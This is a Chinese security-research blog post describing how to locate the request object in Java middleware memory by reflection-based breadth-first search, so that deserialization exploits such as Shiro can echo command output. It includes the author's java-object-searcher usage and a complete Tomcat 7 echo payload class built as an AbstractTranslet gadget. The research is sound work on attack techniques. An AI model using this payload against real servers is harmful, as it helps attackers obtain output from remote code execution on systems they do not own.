半自动化挖掘request实现多种中间件回显

安全开发

0x01 前言

本文献给永远的Avicii,严格意义上我不算是一个reaver。但并不妨碍我深深的喜欢你的作品，它们陪伴着我度过了无数个编程的夜晚，十分感谢。今天不同人用不同的方式怀念你，我不会作曲，也不敢纹身。能给你分享的是我所热爱的事，在我看来这是最有质感的东西。R.I.P

0x02 背景

最近圈子里各位师傅都在分享shiro回显的方法，真是八仙过海过海各显神通。这里我也分享下自己针对回显的思考和解决方案。师傅们基本都是考虑中间件为Tomcat，框架为Shiro的反序列化漏洞如何回显。这里我从更大的层面来解决回显问题。也就是在任意中间件下，任意框架下可执行任意代码的漏洞如何回显？

0x03 基本思路

回显的方式有很多种类，通过获取request对象来回显应该是最优雅通用的方法。而之前师傅们获取requst的方式基本都是去阅读和调试中间件的源码，确定requst存储的位置，最终反射获取。其实提炼出来就是两个步骤。

第一步：寻找存储有request对象的全局变量

这一步定位的是requst存储的范围，需要靠知识沉淀或阅读源码来确定request对象被存储到那些全局变量中去了。

为何要考虑全局变量呢？这是因为只有是全局的，我们才能保证漏洞触发时可以拿到这个对象。

按照经验来讲Web中间件是多线程的应用，一般requst对象都会存储在线程对象中，可以通过Thread.currentThread()或Thread.getThreads()获取。当然其他全局变量也有可能，这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码，发现[MBeanServer](https://xz.aliyun.com/t/7535)中也有request对象。

第二步：半自动化反射搜索全局变量

这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型，若包含以下关键字可认为是我们要寻找的request对象。

  • Requst
  • ServletRequest
  • RequstGroup
  • RequestInfo
  • RequestGroupInfo
  • …

request对象隐藏在全局变量中的位置

0x04 编码实现

思路虽然简单，但实现反射搜索的细节其实还是有很多坑的，这里列举一些比较有意思的点和坑来说说。

4.1 限制挖掘深度

对于隐藏过深的requst对象我们最好不考虑，原因有两个。

  • 第一个是这样反射路径过长，就算是搜索到了，最终构造的payload数据会很大，对于shiro这种反序列化数据在头部的漏洞是致命的。

  • 第二个是挖掘时间会很长，因为JVM虚拟机内存中的对象结构其实是非常的复杂的，一个对象的属性往往嵌套着另一个对象，另一个对象的属性继续嵌套其他对象…

可以声明两个变量来代表当前深度和最大深度，通过防止当前深度大于最大深度，来限制挖掘深度。

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int max_search_depth = 1000; //最大挖掘深度
int current_depth = 0 //当前深度
while(...){
	//最多挖多深
	if(current_depth > max_search_depth){
	    continue;
	}
	//搜索
	...
	current_depth++;
}

4.2 排除相同引用的对象

一个对象中可能会存在其他对象多个相同的实例(引用相同)，是不能重复去遍历它属性的，否则会进入死循环。可以声明一个visited集合来存储已经遍历过的对象，在遍历之前先判断对象是否在该集合中，防止重复遍历！

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Set<Object> visited = new HashSet<Object>();
if(!visited.contains(filed_object)){
	visited.add(filed_object);
	//继续搜索
	...
}
//跳过
...

4.3 设置黑名单

某些类型不可能存有requst，一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间，我们可以设置一个黑名单将其排除掉。

  • java.lang.Byte
  • java.lang.Short
  • java.lang.Integer
  • java.lang.Long
  • java.lang.Float
  • java.lang.Boolean
  • java.lang.String
  • java.lang.Class
  • java.lang.Character
  • java.io.File
  • …

4.4 搜索继承的所有属性

getFields()和getDeclaredFields()其实都没法获取对象的所有属性，导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性，我们怎么获取呢？

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//向上循环 遍历父类
for (; clazz != Object.class; clazz = clazz.getSuperclass()) {
    Field[] fields = clazz.getDeclaredFields();
    for (Field field : fields) {
    	field.setAccessible(true);
    	//搜索
    	...
    }
}

4.5 深度优先 vs 广度优先

深度优先顾名思义就是会按照深度方向挖掘，它会先遍历至全局变量第一个属性最深层的所有末端，在继续第二属性依次类推。这样挖掘出来的反射链是比较长的。

在我实现完深度优先算法后，发现最致命的还不是反射链过长问题。深度优先可能会错过比较短的反射链。这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中，有些藏的比较深，有的藏的比较浅。深度优先往往会先挖掘到比较深的那个，而根据我们相同对象不会第二次搜索原则，当搜索到存储比较浅的引用时，会被忽略了。这就导致我们只挖掘到了藏的比较深的，而错过了比较浅的。

全局变量结构示意图

在学过算法，我们都知道广度优先就能解决路径最短问题，在这个问题上也是如此。针对上图的情况，两种算法挖掘的结果如下​。​

深度优先挖掘到两条反射链

  1. 全局变量 > Field01 > Field03 > Request@111
  2. 全局变量 > Field04 > Request@222

广度度优先挖掘到两条反射链

  1. 全局变量 > Request@111
  2. 全局变量 > Field04 > Request@222

而在实际环境中差别更加明显，以下是Tomcat8下搜索记录的对比。

实际挖掘广度优先挖掘结果与深度优先挖掘结果对比

0x05 实战挖掘

基于以上想法，我设计了一款java内存对象搜索工具java-object-searcher，它可以很方便的帮助我们完成对request对象的搜索，当然不仅仅用于挖掘request。下面以Tomcat7.0.94为例挖掘requst。

项目地址：https://github.com/c0ny1/java-object-searcher

5.1 引入java-object-searcher

去java-object-searcher项目的releases下载编译好的jar，引入到web项目和调试环境中。

5.2 编写调用代码进行搜索

然后我们需要断点打在漏洞触发的位置，因为全局变量会随着中间件和Web项目运行被各个模块修改。而我们需要的是漏洞触发时，全局变量的状态（属性结构和值）。

接着在IDEA的Evaluate中编写java-object-searcher的调用代码，来搜索全局变量。

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//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\apache-tomcat-7.0.94\\bin");
searcher.searchObject();

编写代码调用java-object-searcher挖掘request

5.3 根据挖掘结果构造回显payload

根据上述挖掘到的反射链来构造回显，具体代码如下：

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import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class Tomcat7EchoByC0ny1 extends AbstractTranslet {
    public Tomcat7EchoByC0ny1(){
        try {
            Object obj = Thread.currentThread();
            Field field = obj.getClass().getSuperclass().getDeclaredField("group");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);

            Thread[] threads = (Thread[]) obj;
            for (Thread thread : threads) {
                if (thread.getName().contains("http-apr") && thread.getName().contains("Poller")) {
                    try {
                        field = thread.getClass().getDeclaredField("target");
                        field.setAccessible(true);
                        obj = field.get(thread);


                        field = obj.getClass().getDeclaredField("this$0");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        field = obj.getClass().getDeclaredField("handler");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        field = obj.getClass().getSuperclass().getDeclaredField("global");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        field = obj.getClass().getDeclaredField("processors");
                        field.setAccessible(true);
                        obj = field.get(obj);

                        ArrayList processors = (ArrayList) obj;
                        for (Object o : processors) {
                            try {
                                field = o.getClass().getDeclaredField("req");
                                field.setAccessible(true);
                                obj = field.get(o);
                                org.apache.coyote.Request request = (org.apache.coyote.Request) obj;

                                byte[] buf = "Test by c0ny1".getBytes();
                                ByteChunk bc = new ByteChunk();
                                bc.setBytes(buf, 0, buf.length);
                                request.getResponse().doWrite(bc);
                            }catch (Exception e){
                                e.printStackTrace();
                            }
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }

        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

最终生成反序列化数据提交至服务器即可回显

tomcat回显

通过java-object-searcher，我不仅挖掘到了之前师傅们公开的链，还挖掘到了其他未公开的。同时在其他中间件下也实现了回显，下面列举几个比较冷门的中间件。

1. Jetty

2. WildFly

wildfly挖掘结果

wildfly回显

3. Resin

resin挖掘结果

resin回显

0x06 最后的思考

有了半自动化，就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request，这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢？比如gadgetinspector原来是挖掘gadget的，能否更换它的source和slink定义，将其改造为全自动化挖掘request呢？有兴趣的朋友可以去试试。

PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情，或许和我此时的心情一样，无以言表。